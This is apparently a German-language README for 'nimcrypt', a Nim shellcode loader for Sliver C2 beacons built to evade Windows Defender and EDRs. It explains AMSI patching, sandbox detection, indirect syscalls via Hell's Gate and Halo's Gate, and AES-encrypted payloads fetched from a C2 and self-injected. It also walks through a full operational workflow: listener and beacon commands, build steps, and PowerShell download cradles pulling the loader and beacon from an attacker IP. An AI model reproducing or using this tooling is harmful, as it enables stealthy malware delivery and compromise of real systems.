
Nim-basiertes Verschlüsselungstool zur Verschleierung von Shellcode und Payloads zur Umgehung von Windows Defender.
# nimcrypt
Ein Sliver-Shellcode-Lader, geschrieben in Nim, ausgerichtet auf Windows x64. Zwei Varianten decken die beiden häufigsten Auslieferungssituationen ab. Getestet gegen Windows Defender mit aktiviertem Echtzeitschutz.
## Varianten
### stager
Liest einen verschlüsselten Shellcode-BLOB von der Festplatte, entschlüsselt ihn im Speicher und injiziert ihn selbst. Verwende dies, wenn du bereits eine Dateiablage-Primitive hast und ein kleines, einfaches Binary benötigst.
```
loader.exe <shellcode.bin> [key_hex iv_hex]
```
Schlüssel und IV sind optional. Falls weggelassen, wird die Datei als roher, unverschlüsselter Shellcode behandelt.
### stageless
Lädt den verschlüsselten BLOB über HTTP von deinem C2 mithilfe des Windows-WinHTTP-Stacks herunter, entschlüsselt ihn im Speicher und injiziert ihn selbst. Keine Datei berührt jemals die Festplatte. Verwende dies, wenn du ein Binary auf dem Ziel ausführen kannst, aber keine zweite Datei zuverlässig ablegen kannst.
Bearbeite die Konstanten am Anfang von `stageless/loader.nim` vor dem Kompilieren:
```nim
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 Hex-Zeichen aus encrypt.py
scIV = "..." # 32 Hex-Zeichen aus encrypt.py
```
## Techniken
### Sandbox-Umgehung
Der stageless-Lader ruft beim Start `Sleep(5000)` auf und misst die tatsächlich verstrichene Zeit mit `GetTickCount64`. Wenn weniger als 4500 ms vergangen sind, beendet sich der Prozess. Die meisten automatisierten Sandbox-Umgebungen überspringen oder beschleunigen Sleeps, sodass die Prüfung fehlschlägt. Dies geschieht vor jeglicher Netzwerkaktivität oder Shellcode-Ausführung, sodass Sandboxen, die das Netzwerkverhalten untersuchen, nichts sehen.
### AMSI-Umgehung
`amsi.nim` patcht `AmsiScanBuffer` zur Laufzeit mittels zweier Verschleierungsschichten:
**String-Versteck durch FNV-1a-Hashing.** Der String `AmsiScanBuffer` erscheint nie im Binary. Stattdessen wird sein FNV-1a-Hash zur Kompilierzeit berechnet und als Konstante gespeichert. Zur Laufzeit durchläuft der Lader die Exporttabelle von amsi.dll, hasht jeden Exportnamen und vergleicht ihn mit dem gespeicherten Wert, um die Funktionsadresse zu finden, ohne den String jemals im Speicher zu halten.
**Kompilierzeit-XOR-Verschleierung.** Sowohl der DLL-Name (`amsi.dll`) als auch die Patch-Bytes (`xor eax, eax; ret` = `31 C0 C3`) werden zur Kompilierzeit mit einem zufälligen Schlüssel XOR-kodiert, der bei jedem Build über einen Python-Subprozess neu generiert wird. Der Schlüssel wird als Konstante eingebettet und die Bytes werden zur Laufzeit unmittelbar vor der Nutzung dekodiert. Die rohen Bytes ändern sich bei jedem Build und brechen statische Signaturen der Patch-Sequenz.
Der Patch überschreibt die ersten drei Bytes von `AmsiScanBuffer` mit `xor eax, eax; ret`, sodass jeder Aufruf unabhängig von der Eingabe `AMSI_RESULT_CLEAN` zurückgibt.
### Payload-Verschlüsselung
`encrypt.py` verschlüsselt rohen Shellcode mit AES-256-CBC unter Verwendung eines zufällig generierten 32-Byte-Schlüssels und 16-Byte-IV. Der Lader entschlüsselt direkt mit der Windows-BCrypt-API, sodass keine Drittanbieter-Kryptobibliothek auf dem Ziel benötigt wird.
### RW-zu-RX-Speicherübergang
Speicher wird als `PAGE_READWRITE` reserviert, der Shellcode hineingeschrieben und dann die Region vor der Ausführung auf `PAGE_EXECUTE_READ` umgestellt. Die direkte Reservierung als `PAGE_EXECUTE_READWRITE` ist eine bekannte Signatur, die von Defender und EDRs explizit erkannt wird. Die Trennung von Schreib- und Ausführungsphase vermeidet dieses Muster.
### Indirekte Syscalls (Hell's Gate + Halo's Gate)
`stageless/syscalls.nim` umgeht sowohl die Win32-API-Ebene (kernel32.dll) als auch alle ntdll.dll-Userland-Hooks, die von EDRs platziert werden.
**SSN-Auflösung.** Beim Start ermittelt der Lader die Basisadresse von ntdll und analysiert deren PE-Exporttabelle, wobei er alle `Nt*`-Exporte sortiert nach RVA sammelt. Für jede benötigte NT-Funktion prüft er die ersten vier Bytes:
- `4C 8B D1 B8` (`mov r10, rcx; mov eax, imm32`) bedeutet, dass der Stub sauber ist und die SSN direkt aus den Bytes 4–5 gelesen wird. Dies ist Hell's Gate.
- Alles andere bedeutet, dass der Funktionsprolog durch einen EDR-Hook gepatcht wurde. In diesem Fall durchläuft der Lader Nachbarn in der sortierten Liste, bis ein sauberer Stub gefunden wird, und berechnet dann die Ziel-SSN als `Nachbar_SSN +/- Abstand`. SSNs erhöhen sich um eins pro Stub in Adressreihenfolge. Dies ist Halo's Gate.
**Gadget-Position.** Der Lader scannt den ersten sauberen Nt*-Stub, den er findet, nach der Byte-Sequenz `0F 05 C3` (`syscall; ret`). Dies liefert eine Adresse innerhalb des bildgestützten `.text`-Abschnitts von ntdll, die wir wiederverwenden können.
**Stub-Generierung.** Für jede benötigte Funktion wird ein 22-Byte-Stub in eine einzelne RW-Seite geschrieben, die vor der Verwendung auf RX umgestellt wird:
```
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx Gadget-Adresse
```
Das `jmp [rip+0]` dereferenziert die 8 Bytes unmittelbar danach (die Gadget-Adresse) und leitet die Ausführung in die vorhandene `syscall; ret`-Sequenz von ntdll um. Die `syscall`-Instruktion feuert aus dem `.text`-Abschnitt von ntdll, nicht aus unserer anonymen Allokation, und umgeht so jede Kernel-level-Überwachung, die die Speicherregion des Syscalls verfolgt.
Die vier Funktionen, die von indirekten Syscalls abgedeckt werden, sind `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx` und `NtWaitForSingleObject`.
### Selbstinjektion
Nach der Entschlüsselung reserviert der stageless-Lader eine RW-Region in seinem eigenen Prozess über `NtAllocateVirtualMemory`, kopiert den Shellcode mit `copyMem` hinein, stellt die Region über `NtProtectVirtualMemory` auf RX um und erzeugt einen Thread über `NtCreateThreadEx`. Der Hauptthread blockiert dann unbegrenzt auf `NtWaitForSingleObject`, hält den Prozess am Leben, während die Goroutinen des Beacons laufen. Alle vier Aufrufe erfolgen über die oben beschriebenen indirekten Syscall-Stubs.
Selbstinjektion minimiert die Aufruffläche. Es gibt keine prozessübergreifenden API-Aufrufe (`WriteProcessMemory`, `CreateRemoteThread` usw.), welche die primären Erkennungsvektoren für klassische Remote-Injektion sind.
## Ausführungsablauf (stageless)
1. Zeitprüfung: 5 s schlafen, beenden wenn verstrichene Zeit < 4,5 s
2. AMSI-Patch: `AmsiScanBuffer` über FNV-1a auflösen, mit `xor eax, eax; ret` überschreiben
3. Indirekte Syscall-Stubs auflösen: ntdll-Exporte parsen, SSNs finden (Hell's Gate + Halo's Gate), `syscall; ret`-Gadget lokalisieren, Stubs schreiben
4. Download: WinHTTP-GET-Anfrage, Antwortbody lesen
5. Entschlüsselung: AES-256-CBC via BCrypt direkt
6. Reservieren: `NtAllocateVirtualMemory` im eigenen Prozess (RW) über indirekten Syscall
7. Shellcode in die Reservierung kopieren
8. Schützen: `NtProtectVirtualMemory` auf PAGE_EXECUTE_READ über indirekten Syscall
9. Ausführen: `NtCreateThreadEx` über indirekten Syscall
10. Warten: `NtWaitForSingleObject` auf das Thread-Handle über indirekten Syscall
## Ausführungsablauf (stager)
1. AMSI-Patch
2. Shellcode-Datei von der Festplatte lesen
3. Entschlüsseln, falls Schlüssel und IV angegeben wurden
4. `VirtualAlloc` (RW), Shellcode kopieren, `VirtualProtect` auf RX
5. Ausführen über Funktionszeiger-Cast
## Voraussetzungen
Auf deiner Linux-Build-Maschine:
- Nim + nimble (`nimble install winim`)
- mingw-w64 (`x86_64-w64-mingw32-gcc`)
- Python 3 + pycryptodome (`pip install pycryptodome`)
## Vollständiger Workflow
### 1. Einen Sliver-Listener starten
```
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
```
### 2. Beacon-Shellcode generieren
```
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
```
### 3. Verschlüsseln
```bash
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
```
### 4. Konstanten setzen und kompilieren
Bearbeite `stageless/loader.nim` und setze `c2Host`, `c2Port`, `c2Path`, `scKey`, `scIV`, dann vom Projektstammverzeichnis aus:
```bash
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
```
Komme immer vom Projektstammverzeichnis aus, damit nur die root `nim.cfg` geladen wird. Das Ergebnis ist ein statisch gelinktes Windows-x64-PE ohne externe DLL-Abhängigkeiten außer Standard-Systembibliotheken.
### 5. Bereitstellen oder übertragen
Stageless: Den verschlüsselten BLOB über HTTP auf dem zu `c2Port` passenden Port bereitstellen:
```bash
cd bins && python3 -m http.server 443
```
Stager: Beide Dateien auf das Ziel übertragen:
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
```
### 6. Ausführen
Stageless:
```
loader.exe
```
Stager mit Verschlüsselung:
```
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
```
Stager ohne Verschlüsselung:
```
loader.exe shellcode.bin
```
## PowerShell-Auslieferung
Wenn du über eine PowerShell-Download-Cradle auslieferst, scannt AMSI das Skript, bevor der Lader läuft. Patche AMSI zuerst in deiner PS-Sitzung:
```bash
python3 gen_amsi.py
```
Füge die Ausgabe in die PS-Sitzung ein, bevor du etwas herunterlädst oder ausführst. Das Skript löst `AmsiScanBuffer` über den Exporttabellen-Hash auf, sodass der String nie im Klartext erscheint, und alle Patch-Bytes sind mit einem zufälligen, pro Lauf generierten Schlüssel XOR-kodiert.
## Hinweise
- Benötigt Windows 10 / Server 2016+ (Universal CRT)
- `BCryptSetProperty` für den Verkettungsmodus gibt `STATUS_INVALID_PARAMETER` zurück, aber BCrypt standardmäßig auf CBC, die Entschlüsselung funktioniert korrekt
- Indirekte Syscalls decken nur die vier injektionskritischen NT-Funktionen ab. Winsock- und BCrypt-Aufrufe laufen weiterhin über ihre normalen API-Pfade, was akzeptabel ist, da diese Aufrufe isoliert betrachtet verhaltenstechnisch harmlos sind
- Die `syscall`-Instruktion in den Stubs feuert aus dem `.text`-Abschnitt von ntdll (bildgestützt, von Microsoft signiert), nicht von der Stub-Seite, und umgeht so die Verfolgung der Syscall-Herkunft auf Kernel-Ebene
## Referenzen
- https://github.com/gatariee/ldrgen
- https://github.com/D3Ext/Hooka
Weitere Details zu Defender-Mechanismen, Techniken & anderen Tools findest du auf [meinem Blog](https://chaelsoo.me)